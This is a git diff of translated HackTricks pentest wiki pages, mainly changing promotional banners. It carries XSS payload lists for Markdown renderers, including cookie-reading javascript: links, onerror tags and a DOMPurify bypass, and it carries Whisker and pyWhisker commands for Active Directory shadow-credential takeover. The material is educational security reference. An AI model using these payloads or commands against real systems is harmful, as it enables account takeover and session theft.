* [XSLT\_SSRF](https://feelsec.info/wp-content/uploads/2018/11/XSLT\_SSRF.pdf)\\
|
||||
* [http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Abusing%20XSLT%20for%20practical%20attacks%20-%20Arnaboldi%20-%20IO%20Active.pdf](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Abusing%20XSLT%20for%20practical%20attacks%20-%20Arnaboldi%20-%20IO%20Active.pdf)\\
|
||||
* [http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Abusing%20XSLT%20for%20practical%20attacks%20-%20Arnaboldi%20-%20Blackhat%202015.pdf](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Abusing%20XSLT%20for%20practical%20attacks%20-%20Arnaboldi%20-%20Blackhat%202015.pdf)
|
||||
|
||||
{% hint style="success" %}
|
||||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 您在**网络安全公司**工作吗? 想要在**HackTricks中看到您的公司广告**? 或者想要访问**PEASS的最新版本或下载HackTricks的PDF**? 请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[NFTs收藏品**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方PEASS & HackTricks周边**](https://peass.creator-spring.com)
|
||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在 **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)** 上关注我**。
|
||||
* **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享您的黑客技巧**。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,32 +1,35 @@
|
|||
# 在 Markdown 中的 XSS 攻击
|
||||
# XSS in Markdown
|
||||
|
||||
{% hint style="success" %}
|
||||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习 AWS 黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS 红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 你在一家 **网络安全公司** 工作吗?想要看到你的 **公司在 HackTricks 中被宣传** 吗?或者你想要访问 **PEASS 的最新版本或下载 HackTricks 的 PDF** 吗?查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 探索 [**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家 [**NFTs**](https://opensea.io/collection/the-peass-family) 收藏
|
||||
* 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **在 Twitter 上** 关注我 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* **通过向 [hacktricks 仓库](https://github.com/carlospolop/hacktricks) 和 [hacktricks-cloud 仓库](https://github.com/carlospolop/hacktricks-cloud) 提交 PR 来分享你的黑客技巧**。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
如果你有机会在 markdown 中注入代码,有几种选项可以用来触发 XSS,当代码被解释时。
|
||||
如果你有机会在 markdown 中注入代码,有几种选项可以在代码被解释时触发 XSS。
|
||||
|
||||
### HTML 标签
|
||||
|
||||
在 markdown 中获得 XSS 的最常见方法是注入执行 javascript 的常见 HTML 标签,因为几个 markdown 解释器也会接受 HTML
|
||||
在 markdown 中获取 XSS 的最常见方法是注入执行 javascript 的常见 HTML 标签,因为多个 markdown 解释器也会接受 HTML。
|
||||
```html
|
||||
<!-- XSS with regular tags -->
|
||||
<script>alert(1)</script>
|
||||
<img src=x onerror=alert(1) />
|
||||
```
|
||||
你可以在[hacktricks的主XSS页面](./)找到更多示例。
|
||||
您可以在 [hacktricks 的主要 XSS 页面](./) 中找到更多示例。
|
||||
|
||||
### Javascript链接
|
||||
### Javascript 链接
|
||||
|
||||
如果HTML标签不可用,你可以尝试使用markdown语法:
|
||||
如果 HTML 标签不是一个选项,您可以尝试使用 markdown 语法:
|
||||
```html
|
||||
<!-- markdow link to XSS, this usually always work but it requires interaction -->
|
||||
[a](javascript:prompt(document.cookie))
|
||||
|
@ -41,16 +44,16 @@
|
|||
[a](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)
|
||||
[a](javascript:window.onerror=alert;throw%201)
|
||||
```
|
||||
### Img事件语法滥用
|
||||
### Img 事件语法滥用
|
||||
```markdown
|
||||
![Uh oh...]("onerror="alert('XSS'))
|
||||
![Uh oh...](https://www.example.com/image.png"onload="alert('XSS'))
|
||||
![Escape SRC - onload](https://www.example.com/image.png"onload="alert('ImageOnLoad'))
|
||||
![Escape SRC - onerror]("onerror="alert('ImageOnError'))
|
||||
```
|
||||
### HTML 消毒器 Markdown 绕过
|
||||
### HTML Sanitiser Markdown Bypass
|
||||
|
||||
以下代码正在**消毒 HTML 输入**,然后**将其传递给 markdown 解析器**,然后,XSS 可以被触发,滥用 Markdown 和 DOMPurify 之间的错误解释。
|
||||
以下代码是**清理 HTML 输入**,然后**将其传递给 markdown 解析器**,然后,XSS 可以通过滥用 Markdown 和 DOMPurify 之间的误解来触发。
|
||||
```html
|
||||
<!--from https://infosecwriteups.com/clique-writeup-%C3%A5ngstromctf-2022-e7ae871eaa0e -->
|
||||
<script src="https://cdn.jsdelivr.net/npm/dompurify@2.3.6/dist/purify.min.js"></script>
|
||||
|
@ -62,19 +65,7 @@ document.body.innerHTML = marked.parse(DOMPurify.sanitize(qs.get("content")));
|
|||
}
|
||||
</script>
|
||||
```
|
||||
## 负载示例:
|
||||
|
||||
```html
|
||||
<script>alert('XSS')</script>
|
||||
```
|
||||
|
||||
```markdown
|
||||
[Click me](javascript:alert('XSS'))
|
||||
```
|
||||
|
||||
```html
|
||||
<img src="x" onerror="alert('XSS')">
|
||||
```
|
||||
有效载荷示例:
|
||||
```html
|
||||
<div id="1
|
||||
|
||||
|
@ -90,8 +81,6 @@ document.body.innerHTML = marked.parse(DOMPurify.sanitize(qs.get("content")));
|
|||
----------------------------------------------
|
||||
`<p x="`<img src=x onerror=alert(1)>"></p>
|
||||
```
|
||||
### Fuzzing
|
||||
|
||||
### 模糊测试
|
||||
```html
|
||||
<!--
|
||||
|
@ -168,14 +157,17 @@ _http://danlec_@.1 style=background-image:url(data:image/png;base64,iVBORw0KGgoA
|
|||
![XSS](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)\
|
||||
![XSS'"`onerror=prompt(document.cookie)](x)\
|
||||
```
|
||||
{% hint style="success" %}
|
||||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 你在**网络安全公司**工作吗?想要看到你的**公司在HackTricks上做广告**吗?或者想要获取**PEASS的最新版本或下载HackTricks的PDF**吗?查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
|
||||
* 获取[**官方PEASS & HackTricks周边**](https://peass.creator-spring.com)
|
||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 **上关注我们** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,31 +1,38 @@
|
|||
# 奇怪语言
|
||||
# Esoteric languages
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* 您在**网络安全公司**工作吗? 想要在HackTricks中看到您的**公司广告**吗? 或者想要访问**PEASS的最新版本或下载PDF格式的HackTricks**吗? 请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[NFT收藏品**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享您的黑客技巧**。
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## [奇怪语言维基](https://esolangs.org/wiki/Main\_Page)
|
||||
## [Esolangs Wiki](https://esolangs.org/wiki/Main\_Page)
|
||||
|
||||
查看该维基以搜索更多奇怪语言
|
||||
查看该维基以搜索更多晦涩语言
|
||||
|
||||
## Malbolge
|
||||
```
|
||||
('&%:9]!~}|z2Vxwv-,POqponl$Hjig%eB@@>}=<M:9wv6WsU2T|nm-,jcL(I&%$#"
|
||||
`CB]V?Tx<uVtT`Rpo3NlF.Jh++FdbCBA@?]!~|4XzyTT43Qsqq(Lnmkj"Fhg${z@>
|
||||
```
|
||||
[http://malbolge.doleczek.pl/](http://malbolge.doleczek.pl)
|
||||
|
||||
## npiet
|
||||
|
||||
![](<../.gitbook/assets/image (146).png>)
|
||||
|
||||
[https://www.bertnase.de/npiet/npiet-execute.php](https://www.bertnase.de/npiet/npiet-execute.php)
|
||||
|
||||
## Rockstar
|
||||
```
|
||||
Midnight takes your heart and your soul
|
||||
While your heart is as high as your soul
|
||||
|
@ -57,8 +64,6 @@ Whisper my world
|
|||
{% embed url="https://codewithrockstar.com/" %}
|
||||
|
||||
## PETOOH
|
||||
|
||||
PETOOH是一种基于栈的编程语言,使用俄语单词作为指令。
|
||||
```
|
||||
KoKoKoKoKoKoKoKoKoKo Kud-Kudah
|
||||
KoKoKoKoKoKoKoKo kudah kO kud-Kudah Kukarek kudah
|
||||
|
@ -68,14 +73,17 @@ KoKoKoKo Kud-Kudah KoKoKoKo kudah kO kud-Kudah kO Kukarek
|
|||
kOkOkOkOkO Kukarek Kukarek kOkOkOkOkOkOkO
|
||||
Kukarek
|
||||
```
|
||||
{% hint style="success" %}
|
||||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 你在**网络安全公司**工作吗?想要看到你的**公司在HackTricks中被宣传**吗?或者想要获取**PEASS的最新版本或下载HackTricks的PDF**吗?查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs收藏品**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方PEASS和HackTricks周边**](https://peass.creator-spring.com)
|
||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **通过向[hacktricks仓库](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud仓库](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,81 +1,86 @@
|
|||
# 影子凭证
|
||||
# Shadow Credentials
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* 您在**网络安全公司**工作吗? 想要看到您的**公司在HackTricks中做广告**吗? 或者您想要访问**PEASS的最新版本或下载PDF格式的HackTricks**吗? 请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[NFT](https://opensea.io/collection/the-peass-family)收藏品
|
||||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) **Discord群组**](https://discord.gg/hRep4RUj7f) 或**电报群组**](https://t.me/peass) 或在**Twitter**上关注我 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享您的黑客技巧**。
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## 简介 <a href="#3f17" id="3f17"></a>
|
||||
## Intro <a href="#3f17" id="3f17"></a>
|
||||
|
||||
**查看原始帖子获取有关此技术的[所有信息](https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab)。**
|
||||
**查看原始帖子以获取[有关此技术的所有信息](https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab)。**
|
||||
|
||||
总结:如果您可以写入用户/计算机的**msDS-KeyCredentialLink**属性,则可以检索该对象的**NT哈希**。
|
||||
作为**总结**:如果您可以写入用户/计算机的**msDS-KeyCredentialLink**属性,则可以检索该对象的**NT哈希**。
|
||||
|
||||
在帖子中,概述了一种设置**公钥-私钥身份验证凭据**以获取包含目标NTLM哈希的唯一**服务票证**的方法。此过程涉及特权属性证书(PAC)中的加密NTLM_SUPPLEMENTAL_CREDENTIAL,可以解密。
|
||||
在帖子中,概述了一种设置**公钥-私钥身份验证凭据**的方法,以获取包含目标NTLM哈希的唯一**服务票证**。此过程涉及特权属性证书(PAC)中的加密NTLM_SUPPLEMENTAL_CREDENTIAL,可以解密。
|
||||
|
||||
### 要求
|
||||
### Requirements
|
||||
|
||||
要应用此技术,必须满足一定条件:
|
||||
要应用此技术,必须满足某些条件:
|
||||
- 需要至少一个Windows Server 2016域控制器。
|
||||
- 域控制器必须安装有服务器身份验证数字证书。
|
||||
- 域控制器必须安装服务器身份验证数字证书。
|
||||
- Active Directory必须处于Windows Server 2016功能级别。
|
||||
- 需要具有委派权限以修改目标对象的msDS-KeyCredentialLink属性的帐户。
|
||||
- 需要一个具有修改目标对象的msDS-KeyCredentialLink属性的委派权限的帐户。
|
||||
|
||||
## 滥用
|
||||
## Abuse
|
||||
|
||||
对计算机对象的密钥信任滥用包括超出获取票据授予票证(TGT)和NTLM哈希的步骤。选项包括:
|
||||
1. 创建一个**RC4 silver ticket**以充当预期主机上的特权用户。
|
||||
2. 使用TGT进行**S4U2Self**,以模拟**特权用户**,需要对服务票证进行更改以向服务名称添加服务类。
|
||||
对计算机对象的Key Trust滥用包括获取票证授予票证(TGT)和NTLM哈希之外的步骤。选项包括:
|
||||
1. 创建一个**RC4银票证**以在目标主机上充当特权用户。
|
||||
2. 使用TGT与**S4U2Self**进行**特权用户**的冒充,需要对服务票证进行更改以将服务类添加到服务名称。
|
||||
|
||||
密钥信任滥用的一个重要优势是其限制于攻击者生成的私钥,避免委派给可能存在漏洞的帐户,并且不需要创建计算机帐户,这可能难以删除。
|
||||
Key Trust滥用的一个显著优势是其限制在攻击者生成的私钥上,避免了对潜在易受攻击帐户的委派,并且不需要创建计算机帐户,这可能难以删除。
|
||||
|
||||
## 工具
|
||||
## Tools
|
||||
|
||||
### [**Whisker**](https://github.com/eladshamir/Whisker)
|
||||
|
||||
它基于DSInternals,提供了用于此攻击的C#接口。Whisker及其Python对应工具**pyWhisker**,使得可以操纵`msDS-KeyCredentialLink`属性以控制Active Directory帐户。这些工具支持添加、列出、删除和清除目标对象中的密钥凭据等各种操作。
|
||||
它基于DSInternals,提供此攻击的C#接口。Whisker及其Python对应物**pyWhisker**使得可以操纵`msDS-KeyCredentialLink`属性,以控制Active Directory帐户。这些工具支持各种操作,如添加、列出、删除和清除目标对象的密钥凭据。
|
||||
|
||||
**Whisker**的功能包括:
|
||||
- **Add**:生成一对密钥并添加密钥凭据。
|
||||
- **List**:显示所有密钥凭据条目。
|
||||
- **Remove**:删除指定的密钥凭据。
|
||||
- **Clear**:清除所有密钥凭据,可能会干扰合法的WHfB使用。
|
||||
**Whisker**功能包括:
|
||||
- **Add**: 生成密钥对并添加密钥凭据。
|
||||
- **List**: 显示所有密钥凭据条目。
|
||||
- **Remove**: 删除指定的密钥凭据。
|
||||
- **Clear**: 擦除所有密钥凭据,可能会干扰合法的WHfB使用。
|
||||
```shell
|
||||
Whisker.exe add /target:computername$ /domain:constoso.local /dc:dc1.contoso.local /path:C:\path\to\file.pfx /password:P@ssword1
|
||||
```
|
||||
### [pyWhisker](https://github.com/ShutdownRepo/pywhisker)
|
||||
|
||||
它将 Whisker 功能扩展到 **基于 UNIX 的系统**,利用 Impacket 和 PyDSInternals 实现全面的利用功能,包括列出、添加和删除 KeyCredentials,以及以 JSON 格式导入和导出它们。
|
||||
它扩展了 Whisker 的功能到 **基于 UNIX 的系统**,利用 Impacket 和 PyDSInternals 提供全面的利用能力,包括列出、添加和删除 KeyCredentials,以及以 JSON 格式导入和导出它们。
|
||||
```shell
|
||||
python3 pywhisker.py -d "domain.local" -u "user1" -p "complexpassword" --target "user2" --action "list"
|
||||
```
|
||||
### [ShadowSpray](https://github.com/Dec0ne/ShadowSpray/)
|
||||
|
||||
ShadowSpray旨在利用广泛用户组可能对域对象具有的GenericWrite/GenericAll权限来广泛应用ShadowCredentials。它涉及登录到域,验证域的功能级别,枚举域对象,并尝试添加KeyCredentials以获取TGT并揭示NT哈希。清理选项和递归利用策略增强了其效用。
|
||||
ShadowSpray 旨在 **利用广泛用户组可能对域对象拥有的 GenericWrite/GenericAll 权限** 来广泛应用 ShadowCredentials。它包括登录到域,验证域的功能级别,枚举域对象,并尝试添加 KeyCredentials 以获取 TGT 和 NT hash 的揭示。清理选项和递归利用策略增强了其实用性。
|
||||
|
||||
|
||||
## 参考资料
|
||||
## References
|
||||
|
||||
* [https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab](https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab)
|
||||
* [https://github.com/eladshamir/Whisker](https://github.com/eladshamir/Whisker)
|
||||
* [https://github.com/Dec0ne/ShadowSpray/](https://github.com/Dec0ne/ShadowSpray/)
|
||||
* [https://github.com/ShutdownRepo/pywhisker](https://github.com/ShutdownRepo/pywhisker)
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* 您在**网络安全公司**工作吗?您想看到您的**公司在HackTricks中被广告**吗?或者您想访问**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我的 **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享您的黑客技巧**。
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,20 +1,23 @@
|
|||
# AD DNS记录
|
||||
# AD DNS 记录
|
||||
|
||||
{% hint style="success" %}
|
||||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 您在**网络安全公司**工作吗?您想看到您的**公司在HackTricks中做广告**吗?或者您想访问**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[NFTs收藏品**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
